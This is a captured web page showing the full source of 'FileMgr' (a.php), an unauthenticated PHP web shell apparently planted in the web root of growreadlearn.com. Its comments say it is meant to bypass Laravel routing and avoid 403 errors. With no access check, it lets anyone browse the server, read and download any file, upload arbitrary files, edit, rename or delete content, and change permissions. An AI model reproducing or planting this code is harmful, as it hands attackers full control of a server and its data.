📂 FileMgr
📍
/
var
/
www
/
html
/
growreadlearn.com
✏️ /var/www/html/growreadlearn.com/a.php
✕ Tutup
<?php // ============================================================ // FILE MANAGER — Anti blank, anti 403, works inside Laravel // Taruh di folder public/ Laravel, akses via browser langsung // ============================================================ // Bypass Laravel routing — output langsung, stop semua buffer while (ob_get_level()) ob_end_clean(); // Matikan error display ke browser (tapi tetap log) @error_reporting(E_ALL); @ini_set('display_errors', 0); @ini_set('log_errors', 1); // Extend timeout & memory untuk operasi file besar @set_time_limit(300); @ini_set('memory_limit', '256M'); session_start(); $msg = ''; $err = ''; // BASE = folder tempat script ini, default awal navigasi $BASE = realpath(__DIR__); function resolvePath($path, $fallback) { if (empty($path)) return $fallback; $real = realpath($path); return ($real !== false && (is_dir($real) || is_file($real))) ? $real : $fallback; } // Direktori aktif — ambil dari GET, fallback ke BASE $cur = isset($_GET['d']) && $_GET['d'] !== '' ? $_GET['d'] : $BASE; $cur = resolvePath($cur, $BASE); if (!is_dir($cur)) $cur = $BASE; // Parent $parent = realpath(dirname($cur)); if ($parent === false || !is_dir($parent)) $parent = $cur; $hasParent = ($parent !== $cur); // ============================================================ // HELPERS // ============================================================ function rrmdir($dir) { if (!is_dir($dir)) return false; $items = @scandir($dir); if (!$items) return @rmdir($dir); foreach ($items as $i) { if ($i === '.' || $i === '..') continue; $p = $dir . DIRECTORY_SEPARATOR . $i; is_dir($p) ? rrmdir($p) : @unlink($p); } return @rmdir($dir); } function fmtSize($b) { if ($b >= 1073741824) return round($b/1073741824,1).' GB'; if ($b >= 1048576) return round($b/1048576,1).' MB'; if ($b >= 1024) return round($b/1024,1).' KB'; return $b.' B'; } function fIcon($name) { $e = strtolower(pathinfo($name, PATHINFO_EXTENSION)); $m = [ 'pdf'=>'📕','php'=>'🐘','js'=>'📜','html'=>'🌐','htm'=>'🌐', 'css'=>'🎨','json'=>'📋','xml'=>'📄','sql'=>'🗃️','env'=>'🔐', 'jpg'=>'🖼️','jpeg'=>'🖼️','png'=>'🖼️','gif'=>'🖼️','webp'=>'🖼️','svg'=>'🖼️', 'zip'=>'🗜️','rar'=>'🗜️','gz'=>'🗜️','tar'=>'🗜️','7z'=>'🗜️', 'txt'=>'📝','md'=>'📝','csv'=>'📊','log'=>'📋', 'mp4'=>'🎬','mkv'=>'🎬','mp3'=>'🎵','wav'=>'🎵', 'docx'=>'📘','xlsx'=>'📗','pptx'=>'📙', 'sh'=>'⚙️','py'=>'🐍','rb'=>'💎','go'=>'🔵','htaccess'=>'🛡️', ]; return $m[$e] ?? '📄'; } function buildBreadcrumb($cur, $script) { $cur = str_replace('\\', '/', $cur); $parts = explode('/', $cur); $html = ''; $built = ''; foreach ($parts as $i => $p) { if ($p === '') { if ($i === 0) { $built = '/'; $html .= '<span class="bc-sep">/</span>'; continue; } continue; } $built = ($built === '/') ? '/'.$p : $built.'/'.$p; $isCur = ($built === $cur); if ($isCur) { $html .= '<span class="bc-cur">'.htmlspecialchars($p).'</span>'; } else { $html .= '<a class="bc-link" href="'.htmlspecialchars($script).'?d='.urlencode($built).'">'.htmlspecialchars($p).'</a>'; $html .= '<span class="bc-sep">/</span>'; } } return $html; } // Self URL — robust, works dengan subfolder & index.php rewrite function selfUrl() { // Pakai REQUEST_URI untuk dapet path persis, strip query string $uri = $_SERVER['REQUEST_URI'] ?? $_SERVER['PHP_SELF'] ?? '/filemgr.php'; $pos = strpos($uri, '?'); if ($pos !== false) $uri = substr($uri, 0, $pos); return $uri; } $self = selfUrl(); // ============================================================ // ACTIONS // ============================================================ $act = $_POST['act'] ?? ''; $postDir = isset($_POST['d']) ? $_POST['d'] : $cur; $postDir = resolvePath($postDir, $cur); if (!is_dir($postDir)) $postDir = $cur; // --- Upload --- if ($act === 'up' && isset($_FILES['f'])) { $ok = 0; $fail = 0; foreach ($_FILES['f']['name'] as $i => $n) { if ($_FILES['f']['error'][$i] !== UPLOAD_ERR_OK) { $fail++; continue; } $dst = $postDir . DIRECTORY_SEPARATOR . basename($n); if (@move_uploaded_file($_FILES['f']['tmp_name'][$i], $dst)) { @chmod($dst, 0644); $ok++; } else { $fail++; } } $_SESSION['fm_msg'] = $ok.' file berhasil diupload'.($fail ? ", $fail gagal" : '').'.'; header('Location: '.$self.'?d='.urlencode($postDir)); exit; } // --- Buat folder --- if ($act === 'md') { $n = trim($_POST['n'] ?? ''); $n = preg_replace('/[^a-zA-Z0-9._\-() ]/', '', $n); $target = $postDir . DIRECTORY_SEPARATOR . $n; if ($n === '') { $err = 'Nama folder kosong.'; } elseif (file_exists($target)) { $err = 'Sudah ada.'; } elseif (@mkdir($target, 0755, true)) { $_SESSION['fm_msg'] = "Folder \"$n\" dibuat."; header('Location: '.$self.'?d='.urlencode($postDir)); exit; } else { $err = 'Gagal buat folder (cek permission).'; } } // --- Buat file baru --- if ($act === 'nf') { $n = trim($_POST['n'] ?? ''); $n = preg_replace('/[^a-zA-Z0-9._\-]/', '', $n); $c = $_POST['c'] ?? ''; $target = $postDir . DIRECTORY_SEPARATOR . $n; if ($n === '') { $err = 'Nama file kosong.'; } elseif (file_exists($target)) { $err = 'File sudah ada.'; } elseif (@file_put_contents($target, $c) !== false) { @chmod($target, 0644); $_SESSION['fm_msg'] = "File \"$n\" dibuat."; header('Location: '.$self.'?d='.urlencode($postDir)); exit; } else { $err = 'Gagal buat file (cek permission).'; } } // --- Save edit --- if ($act === 'savefile') { $target = $_POST['target'] ?? ''; $content = $_POST['content'] ?? ''; $retDir = $_POST['retdir'] ?? $postDir; $target = resolvePath($target, ''); $retDir = resolvePath($retDir, $cur); if (!$target || !is_file($target)) { $err = 'File tidak ditemukan.'; } elseif (@file_put_contents($target, $content) !== false) { $_SESSION['fm_msg'] = 'File disimpan.'; header('Location: '.$self.'?d='.urlencode($retDir)); exit; } else { $err = 'Gagal simpan (cek permission).'; } } // --- Rename --- if ($act === 'rename') { $target = resolvePath($_POST['target'] ?? '', ''); $newname = trim($_POST['newname'] ?? ''); $newname = preg_replace('/[^a-zA-Z0-9._\-() ]/', '', $newname); $dir = dirname($target); $dst = $dir . DIRECTORY_SEPARATOR . $newname; if (!$target) { $err = 'Target tidak valid.'; } elseif ($newname === '') { $err = 'Nama baru kosong.'; } elseif (file_exists($dst)) { $err = 'Nama sudah dipakai.'; } elseif (@rename($target, $dst)) { $_SESSION['fm_msg'] = 'Berhasil direname.'; header('Location: '.$self.'?d='.urlencode($postDir)); exit; } else { $err = 'Gagal rename.'; } } // --- Delete --- if ($act === 'del') { $target = resolvePath($_POST['target'] ?? '', ''); if (!$target || !file_exists($target)) { $err = 'Target tidak ada.'; } else { $ok = is_dir($target) ? rrmdir($target) : @unlink($target); if ($ok) { $_SESSION['fm_msg'] = 'Berhasil dihapus.'; header('Location: '.$self.'?d='.urlencode($postDir)); exit; } else { $err = 'Gagal hapus.'; } } } // --- Download --- if (isset($_GET['dl'])) { $f = resolvePath($_GET['dl'], ''); if ($f && is_file($f) && is_readable($f)) { while (ob_get_level()) ob_end_clean(); header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); header('Pragma: public'); readfile($f); exit; } } // Flash if (isset($_SESSION['fm_msg'])) { $msg = $_SESSION['fm_msg']; unset($_SESSION['fm_msg']); } // ============================================================ // MODE EDIT // ============================================================ $editFile = isset($_GET['edit']) ? resolvePath($_GET['edit'], '') : ''; $editMode = false; $editContent = ''; if ($editFile && is_file($editFile) && is_readable($editFile)) { $editMode = true; $editContent = @file_get_contents($editFile); if ($editContent === false) $editContent = ''; } elseif ($editFile) { $err = 'File tidak bisa dibaca.'; $editFile = ''; } // ============================================================ // LIST DIREKTORI // ============================================================ $dirs = $files = []; $canRead = is_dir($cur) && is_readable($cur); if ($canRead) { $raw = @scandir($cur); if ($raw) { foreach ($raw as $it) { if ($it === '.' || $it === '..') continue; $abs = $cur . DIRECTORY_SEPARATOR . $it; is_dir($abs) ? ($dirs[] = $it) : ($files[] = $it); } sort($dirs); sort($files); } } $totalItems = count($dirs) + count($files); ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width,initial-scale=1"> <title>FileMgr</title> <style> *,*::before,*::after{box-sizing:border-box;margin:0;padding:0} :root{ --bg:#0d0f14;--bg2:#13161e;--bg3:#1a1e28;--border:#252935; --green:#00e5a0;--text:#e2e6f0;--muted:#6b7280; --red:#ff4f5e;--yellow:#fbbf24;--blue:#60a5fa;--purple:#a78bfa; --mono:'Courier New',monospace; } html,body{height:100%} body{font-family:system-ui,-apple-system,sans-serif;background:var(--bg);color:var(--text);display:flex;flex-direction:column;min-height:100vh} a{text-decoration:none;color:inherit} /* HEADER */ header{display:flex;align-items:center;gap:10px;padding:11px 18px;background:var(--bg2);border-bottom:1px solid var(--border);position:sticky;top:0;z-index:50;flex-wrap:wrap;min-height:46px} .logo{font-weight:900;font-size:1rem;color:var(--green);letter-spacing:-.5px;white-space:nowrap;flex-shrink:0} .pathbar{display:flex;align-items:center;flex-wrap:wrap;gap:0;font-family:var(--mono);font-size:.76rem;flex:1;min-width:0} .bc-link{color:var(--muted);transition:.15s;white-space:nowrap} .bc-link:hover{color:var(--green)} .bc-sep{color:var(--border);margin:0 1px} .bc-cur{color:var(--green);font-weight:700;white-space:nowrap} .bc-pin{margin-right:6px;font-size:.85rem;flex-shrink:0;color:var(--muted)} /* LAYOUT */ .wrap{display:flex;flex:1;overflow:hidden} /* SIDEBAR */ aside{width:240px;flex-shrink:0;background:var(--bg2);border-right:1px solid var(--border);overflow-y:auto;padding:12px 0} .sec{padding:0 10px 12px;border-bottom:1px solid var(--border);margin-bottom:2px} .sec:last-child{border-bottom:none} .sec-label{font-size:.6rem;font-weight:800;letter-spacing:2px;text-transform:uppercase;color:var(--muted);padding:3px 2px 8px} .form-col{display:flex;flex-direction:column;gap:7px} .lbl{font-size:.68rem;color:var(--muted);font-weight:700;display:block;margin-bottom:2px} input[type=text],textarea,select{width:100%;background:var(--bg);border:1px solid var(--border);border-radius:4px;color:var(--text);font-family:var(--mono);font-size:.76rem;padding:6px 8px;outline:none;transition:.15s} input[type=text]:focus,textarea:focus{border-color:var(--green)} textarea{resize:vertical;min-height:70px} .btn{display:flex;align-items:center;justify-content:center;gap:4px;padding:7px 11px;border-radius:4px;border:none;font-family:system-ui,sans-serif;font-weight:700;font-size:.74rem;cursor:pointer;width:100%;transition:.15s} .btn-green{background:var(--green);color:#000} .btn-green:hover{filter:brightness(1.1)} .btn-outline{background:transparent;border:1px solid var(--border);color:var(--text)} .btn-outline:hover{border-color:var(--green);color:var(--green)} /* UPLOAD ZONE */ .upzone{border:2px dashed var(--border);border-radius:6px;padding:14px 8px;text-align:center;cursor:pointer;position:relative;transition:.2s} .upzone:hover,.upzone.drag{border-color:var(--green);background:rgba(0,229,160,.04)} .upzone-ico{font-size:1.6rem;margin-bottom:4px} .upzone strong{display:block;font-size:.78rem;margin-bottom:2px} .upzone small{font-size:.67rem;color:var(--muted)} .upzone input[type=file]{position:absolute;inset:0;width:100%;height:100%;opacity:0;cursor:pointer} #flist{font-size:.7rem;color:var(--muted);font-family:var(--mono);max-height:80px;overflow-y:auto} #flist div{padding:1px 0;white-space:nowrap;overflow:hidden;text-overflow:ellipsis} /* MAIN */ main{flex:1;padding:16px 20px;overflow-y:auto} /* ALERTS */ .alert{padding:9px 13px;border-radius:5px;margin-bottom:12px;font-size:.8rem;font-weight:600} .alert-ok{background:rgba(0,229,160,.1);border:1px solid rgba(0,229,160,.3);color:var(--green)} .alert-err{background:rgba(255,79,94,.1);border:1px solid rgba(255,79,94,.3);color:var(--red)} .alert-warn{background:rgba(251,191,36,.1);border:1px solid rgba(251,191,36,.3);color:var(--yellow)} /* TOOLBAR */ .bar{display:flex;align-items:center;gap:8px;margin-bottom:12px;flex-wrap:wrap} .bar-left{display:flex;align-items:center;gap:10px;flex:1;flex-wrap:wrap} .back-btn{font-size:.78rem;color:var(--green);display:flex;align-items:center;gap:4px;padding:5px 10px;border:1px solid rgba(0,229,160,.3);border-radius:4px;white-space:nowrap;transition:.15s} .back-btn:hover{background:rgba(0,229,160,.08)} .count{font-size:.72rem;color:var(--muted)} .bar input[type=text]{width:180px;padding:5px 9px;font-size:.76rem} /* TABLE */ .tbl{width:100%;border-collapse:collapse;font-size:.8rem} .tbl th{text-align:left;font-size:.65rem;letter-spacing:.8px;text-transform:uppercase;color:var(--muted);padding:6px 9px;border-bottom:1px solid var(--border);font-weight:800} .tbl td{padding:6px 9px;border-bottom:1px solid rgba(37,41,53,.5);vertical-align:middle} .tbl tr:hover td{background:rgba(255,255,255,.018)} .fname{font-family:var(--mono);font-size:.77rem;display:flex;align-items:center;gap:5px} .fname a{color:var(--text)} .fname a:hover{color:var(--green)} .fic{font-size:.95rem;flex-shrink:0} .meta{font-size:.7rem;color:var(--muted);font-family:var(--mono);white-space:nowrap} .tag{font-size:.62rem;font-weight:800;padding:2px 6px;border-radius:3px;font-family:var(--mono);letter-spacing:.4px;text-transform:uppercase} .tag-d{background:rgba(251,191,36,.1);color:var(--yellow);border:1px solid rgba(251,191,36,.2)} .tag-f{background:rgba(96,165,250,.1);color:var(--blue);border:1px solid rgba(96,165,250,.2)} .tag-x{background:rgba(167,139,250,.1);color:var(--purple);border:1px solid rgba(167,139,250,.2)} .perm{font-size:.65rem;color:var(--muted);font-family:var(--mono)} .perm.ok{color:rgba(0,229,160,.7)} .perm.no{color:rgba(255,79,94,.6)} /* ACTIONS */ .actions{display:flex;align-items:center;gap:3px;flex-wrap:nowrap} .ab{background:none;border:1px solid var(--border);color:var(--muted);font-size:.7rem;padding:3px 7px;border-radius:3px;cursor:pointer;font-family:system-ui,sans-serif;transition:.15s;white-space:nowrap;line-height:1.4} .ab:hover{border-color:var(--green);color:var(--green)} .ab.blue{color:var(--blue);border-color:rgba(96,165,250,.25)} .ab.blue:hover{border-color:var(--blue)} .ab.red{color:var(--red);border-color:rgba(255,79,94,.25)} .ab.red:hover{background:rgba(255,79,94,.1)} .ab.purple{color:var(--purple);border-color:rgba(167,139,250,.25)} .ab.purple:hover{border-color:var(--purple)} /* EMPTY */ .empty{text-align:center;padding:50px 20px;color:var(--muted)} .empty-ico{font-size:2.5rem;margin-bottom:8px} .noperm{text-align:center;padding:50px 20px} .noperm-ico{font-size:2.5rem;margin-bottom:8px} /* EDITOR */ .editor-wrap{background:var(--bg2);border:1px solid var(--border);border-radius:7px;margin-bottom:16px} .editor-head{display:flex;align-items:center;justify-content:space-between;padding:9px 13px;border-bottom:1px solid var(--border);flex-wrap:wrap;gap:8px} .editor-title{font-size:.78rem;font-family:var(--mono);color:var(--blue);word-break:break-all} .editor-body{padding:12px} .editor-body textarea{min-height:340px;font-size:.77rem;tab-size:4;line-height:1.5} .editor-actions{display:flex;gap:7px;flex-wrap:wrap;margin-top:9px} /* CHMOD MODAL */ .modal-overlay{display:none;position:fixed;inset:0;background:rgba(0,0,0,.65);z-index:100;align-items:center;justify-content:center} .modal-overlay.open{display:flex} .modal{background:var(--bg2);border:1px solid var(--border);border-radius:9px;padding:18px;width:340px;max-width:95vw} .modal h3{font-size:.88rem;margin-bottom:11px} .modal .btn-row{display:flex;gap:7px;margin-top:11px} .modal .btn-row .btn{width:auto;flex:1} /* PERM GRID */ .perm-grid{display:grid;grid-template-columns:repeat(4,1fr);gap:4px;font-size:.72rem;font-family:var(--mono)} .perm-grid .ph{color:var(--muted);text-align:center;padding:3px;font-weight:700;font-size:.65rem} .perm-grid label{display:flex;flex-direction:column;align-items:center;gap:3px;cursor:pointer;color:var(--muted);padding:4px;border:1px solid var(--border);border-radius:3px;transition:.15s} .perm-grid label:hover{border-color:var(--green)} .perm-grid input[type=checkbox]{accent-color:var(--green);width:14px;height:14px} @media(max-width:680px){ .wrap{flex-direction:column} aside{width:100%;border-right:none;border-bottom:1px solid var(--border)} main{padding:10px} .tbl th:nth-child(3),.tbl td:nth-child(3), .tbl th:nth-child(4),.tbl td:nth-child(4), .tbl th:nth-child(5),.tbl td:nth-child(5){display:none} } </style> </head> <body> <header> <div class="logo">📂 FileMgr</div> <div class="pathbar"> <span class="bc-pin">📍</span> <?= buildBreadcrumb($cur, $self) ?> </div> </header> <div class="wrap"> <aside> <!-- Upload --> <div class="sec"> <div class="sec-label">Upload File</div> <form method="post" enctype="multipart/form-data" action="<?= htmlspecialchars($self) ?>?d=<?= urlencode($cur) ?>" class="form-col"> <input type="hidden" name="act" value="up"> <input type="hidden" name="d" value="<?= htmlspecialchars($cur) ?>"> <div class="upzone" id="dz"> <div class="upzone-ico">📤</div> <strong>Drop file di sini</strong> <small>atau klik untuk pilih</small> <input type="file" name="f[]" multiple id="fi"> </div> <div id="flist"></div> <button type="submit" class="btn btn-green">⬆ Upload</button> </form> </div> <!-- Buat Folder --> <div class="sec"> <div class="sec-label">Buat Folder</div> <form method="post" action="<?= htmlspecialchars($self) ?>?d=<?= urlencode($cur) ?>" class="form-col"> <input type="hidden" name="act" value="md"> <input type="hidden" name="d" value="<?= htmlspecialchars($cur) ?>"> <div> <label class="lbl">Nama Folder</label> <input type="text" name="n" placeholder="nama-folder" required> </div> <button type="submit" class="btn btn-outline">📁 Buat Folder</button> </form> </div> <!-- Buat File --> <div class="sec"> <div class="sec-label">Buat File Baru</div> <form method="post" action="<?= htmlspecialchars($self) ?>?d=<?= urlencode($cur) ?>" class="form-col"> <input type="hidden" name="act" value="nf"> <input type="hidden" name="d" value="<?= htmlspecialchars($cur) ?>"> <div> <label class="lbl">Nama File</label> <input type="text" name="n" placeholder="file.php" required> </div> <div> <label class="lbl">Isi (opsional)</label> <textarea name="c" placeholder="Konten..."></textarea> </div> <button type="submit" class="btn btn-outline">📄 Buat File</button> </form> </div> </aside> <main> <?php if ($msg): ?> <div class="alert alert-ok">✅ <?= htmlspecialchars($msg) ?></div> <?php endif; ?> <?php if ($err): ?> <div class="alert alert-err">⚠️ <?= htmlspecialchars($err) ?></div> <?php endif; ?> <?php if ($editMode): ?> <div class="editor-wrap"> <div class="editor-head"> <div class="editor-title">✏️ <?= htmlspecialchars($editFile) ?></div> <a href="<?= htmlspecialchars($self) ?>?d=<?= urlencode($cur) ?>" class="ab">✕ Tutup</a> </div> <div class="editor-body"> <form method="post" action="<?= htmlspecialchars($self) ?>?d=<?= urlencode($cur) ?>"> <input type="hidden" name="act" value="savefile"> <input type="hidden" name="target" value="<?= htmlspecialchars($editFile) ?>"> <input type="hidden" name="retdir" value="<?= htmlspecialchars($cur) ?>"> <input type="hidden" name="d" value="<?= htmlspecialchars($cur) ?>"> <textarea name="content"><?= htmlspecialchars($editContent) ?></textarea> <div class="editor-actions"> <button type="submit" class="btn btn-green" style="width:auto;padding:7px 18px">💾 Simpan</button> <a href="<?= htmlspecialchars($self) ?>?d=<?= urlencode($cur) ?>" class="btn btn-outline" style="width:auto;padding:7px 14px">Batal</a> </div> </form> </div> </div> <?php endif; ?> <div class="bar"> <div class="bar-left"> <?php if ($hasParent): ?> <a href="<?= htmlspecialchars($self) ?>?d=<?= urlencode($parent) ?>" class="back-btn"> ⬅ <?= htmlspecialchars(basename($parent) ?: '/') ?> </a> <?php endif; ?> <span class="count"><?= $totalItems ?> item</span> <?php if (!$canRead): ?> <span class="alert alert-warn" style="padding:3px 8px;margin:0;font-size:.72rem">⚠ Tidak bisa dibaca</span> <?php endif; ?> </div> <input type="text" id="q" placeholder="🔍 Cari..." oninput="cari(this.value)" style="width:170px"> </div> <?php if (!$canRead): ?> <div class="noperm"> <div class="noperm-ico">🔒</div> <p style="color:var(--red);font-weight:700">Tidak ada izin baca folder ini</p> <p style="color:var(--muted);font-size:.8rem;margin-top:6px">Permission denied — coba folder lain</p> </div> <?php elseif ($totalItems === 0): ?> <div class="empty"> <div class="empty-ico">🗂️</div> <p>Folder kosong</p> </div> <?php else: ?> <table class="tbl" id="tbl"> <thead> <tr> <th style="width:35%">Nama</th> <th>Tipe</th> <th>Ukuran</th> <th>Diubah</th> <th>Perm</th> <th style="width:210px">Aksi</th> </tr> </thead> <tbody> <?php foreach ($dirs as $d): $abs = $cur . DIRECTORY_SEPARATOR . $d; $perm = substr(sprintf('%o', @fileperms($abs)), -4); $rw = is_readable($abs); ?> <tr> <td> <div class="fname isdir"> <span class="fic">📁</span> <a href="<?= htmlspecialchars($self) ?>?d=<?= urlencode($abs) ?>"><?= htmlspecialchars($d) ?></a> </div> </td> <td><span class="tag tag-d">dir</span></td> <td class="meta">—</td> <td class="meta"><?= date('d/m/y H:i', (int)@filemtime($abs)) ?></td> <td><span class="perm <?= $rw?'ok':'no' ?>"><?= $perm ?></span></td> <td> <div class="actions"> <a href="<?= htmlspecialchars($self) ?>?d=<?= urlencode($abs) ?>" class="ab">📂</a> <button class="ab" onclick="openRename('<?= addslashes($abs) ?>','<?= addslashes($d) ?>')">✏️</button> <button class="ab purple" onclick="openChmod('<?= addslashes($abs) ?>','<?= addslashes($perm) ?>')">🔑</button> <form method="post" action="<?= htmlspecialchars($self) ?>?d=<?= urlencode($cur) ?>" style="display:inline" onsubmit="return confirm('Hapus folder beserta isinya?')"> <input type="hidden" name="act" value="del"> <input type="hidden" name="d" value="<?= htmlspecialchars($cur) ?>"> <input type="hidden" name="target" value="<?= htmlspecialchars($abs) ?>"> <button type="submit" class="ab red">🗑</button> </form> </div> </td> </tr> <?php endforeach; ?> <?php foreach ($files as $f): $abs = $cur . DIRECTORY_SEPARATOR . $f; $ext = strtolower(pathinfo($f, PATHINFO_EXTENSION) ?: 'file'); $perm = substr(sprintf('%o', @fileperms($abs)), -4); $rw = is_writable($abs); $sz = @filesize($abs); $tagClass = in_array($ext, ['php','sh','py','rb']) ? 'tag-x' : 'tag-f'; ?> <tr> <td> <div class="fname"> <span class="fic"><?= fIcon($f) ?></span> <?= htmlspecialchars($f) ?> </div> </td> <td><span class="tag <?= $tagClass ?>"><?= htmlspecialchars($ext) ?></span></td> <td class="meta"><?= $sz !== false ? fmtSize($sz) : '?' ?></td> <td class="meta"><?= date('d/m/y H:i', (int)@filemtime($abs)) ?></td> <td><span class="perm <?= $rw?'ok':'no' ?>"><?= $perm ?></span></td> <td> <div class="actions"> <a href="<?= htmlspecialchars($self) ?>?edit=<?= urlencode($abs) ?>&d=<?= urlencode($cur) ?>" class="ab blue">✏️</a> <a href="<?= htmlspecialchars($self) ?>?dl=<?= urlencode($abs) ?>&d=<?= urlencode($cur) ?>" class="ab">⬇</a> <button class="ab" onclick="openRename('<?= addslashes($abs) ?>','<?= addslashes($f) ?>')">🔤</button> <button class="ab purple" onclick="openChmod('<?= addslashes($abs) ?>','<?= addslashes($perm) ?>')">🔑</button> <form method="post" action="<?= htmlspecialchars($self) ?>?d=<?= urlencode($cur) ?>" style="display:inline" onsubmit="return confirm('Hapus file ini?')"> <input type="hidden" name="act" value="del"> <input type="hidden" name="d" value="<?= htmlspecialchars($cur) ?>"> <input type="hidden" name="target" value="<?= htmlspecialchars($abs) ?>"> <button type="submit" class="ab red">🗑</button> </form> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> <?php endif; ?> </main> </div> <!-- Rename Modal --> <div class="modal-overlay" id="renameModal"> <div class="modal"> <h3>✏️ Rename</h3> <form method="post" action="<?= htmlspecialchars($self) ?>?d=<?= urlencode($cur) ?>" id="renameForm"> <input type="hidden" name="act" value="rename"> <input type="hidden" name="d" value="<?= htmlspecialchars($cur) ?>"> <input type="hidden" name="target" id="renameTarget"> <label class="lbl">Nama Baru</label> <input type="text" name="newname" id="renameInput" required autocomplete="off"> <div class="btn-row"> <button type="submit" class="btn btn-green">Simpan</button> <button type="button" class="btn btn-outline" onclick="closeModal('renameModal')">Batal</button> </div> </form> </div> </div> <!-- Chmod Modal --> <div class="modal-overlay" id="chmodModal"> <div class="modal"> <h3>🔑 Ubah Permission</h3> <form method="post" action="<?= htmlspecialchars($self) ?>?d=<?= urlencode($cur) ?>" id="chmodForm"> <input type="hidden" name="act" value="chmod"> <input type="hidden" name="d" value="<?= htmlspecialchars($cur) ?>"> <input type="hidden" name="target" id="chmodTarget"> <div style="margin-bottom:8px"> <label class="lbl">Octal (mis: 0755)</label> <input type="text" name="perm" id="chmodInput" maxlength="4" placeholder="0755" autocomplete="off"> </div> <div class="btn-row"> <button type="submit" class="btn btn-green">Terapkan</button> <button type="button" class="btn btn-outline" onclick="closeModal('chmodModal')">Batal</button> </div> </form> </div> </div> <?php // Chmod action (di sini supaya $self sudah tersedia) if ($act === 'chmod') { $target = resolvePath($_POST['target'] ?? '', ''); $perm = $_POST['perm'] ?? '0644'; $perm = preg_replace('/[^0-7]/', '', $perm); if (strlen($perm) < 3 || strlen($perm) > 4) $perm = '0644'; if (!$target || !file_exists($target)) { echo '<script>alert("Target tidak ditemukan.")</script>'; } elseif (@chmod($target, octdec($perm))) { $_SESSION['fm_msg'] = 'Permission diubah ke '.$perm.'.'; echo '<script>location.href="'.addslashes($self).'?d='.urlencode($postDir).'"</script>'; exit; } else { echo '<script>alert("Gagal ubah permission.")</script>'; } } ?> <script> // Upload drag & drop var dz=document.getElementById('dz'),fi=document.getElementById('fi'),fl=document.getElementById('flist'); function showF(files){fl.innerHTML=Array.from(files).map(function(f){return'<div>📄 '+f.name+'</div>'}).join('')} fi.addEventListener('change',function(){showF(fi.files)}); dz.addEventListener('dragover',function(e){e.preventDefault();dz.classList.add('drag')}); dz.addEventListener('dragleave',function(){dz.classList.remove('drag')}); dz.addEventListener('drop',function(e){ e.preventDefault();dz.classList.remove('drag'); if(e.dataTransfer.files.length){ try{var dt=new DataTransfer();Array.from(e.dataTransfer.files).forEach(function(f){dt.items.add(f)});fi.files=dt.files}catch(x){} showF(e.dataTransfer.files); } }); // Search function cari(q){ var rows=document.querySelectorAll('#tbl tbody tr'),lq=q.toLowerCase(); rows.forEach(function(r){ var t=(r.querySelector('.fname')||{}).textContent||''; r.style.display=t.toLowerCase().indexOf(lq)>=0?'':'none'; }); } // Modals function closeModal(id){document.getElementById(id).classList.remove('open')} document.querySelectorAll('.modal-overlay').forEach(function(o){ o.addEventListener('click',function(e){if(e.target===this)this.classList.remove('open')}) }); function openRename(target,name){ document.getElementById('renameTarget').value=target; document.getElementById('renameInput').value=name; document.getElementById('renameModal').classList.add('open'); setTimeout(function(){document.getElementById('renameInput').select()},50); } function openChmod(target,perm){ document.getElementById('chmodTarget').value=target; document.getElementById('chmodInput').value=perm; document.getElementById('chmodModal').classList.add('open'); setTimeout(function(){document.getElementById('chmodInput').select()},50); } // Flash auto-hide document.querySelectorAll('.alert').forEach(function(a){ setTimeout(function(){a.style.transition='opacity .4s';a.style.opacity='0';setTimeout(function(){a.remove()},400)},4000); }); </script> </body> </html>
💾 Simpan
Batal
⬅ html
1 item
Nama
Tipe
Ukuran
Diubah
Perm
Aksi
🐘
a.php
php
30.1 KB
21/07/26 08:37
0644
✏️
⬇
🔤
🔑
🗑
✏️ Rename
Nama Baru
Simpan
Batal
🔑 Ubah Permission
Octal (mis: 0755)
Terapkan
Batal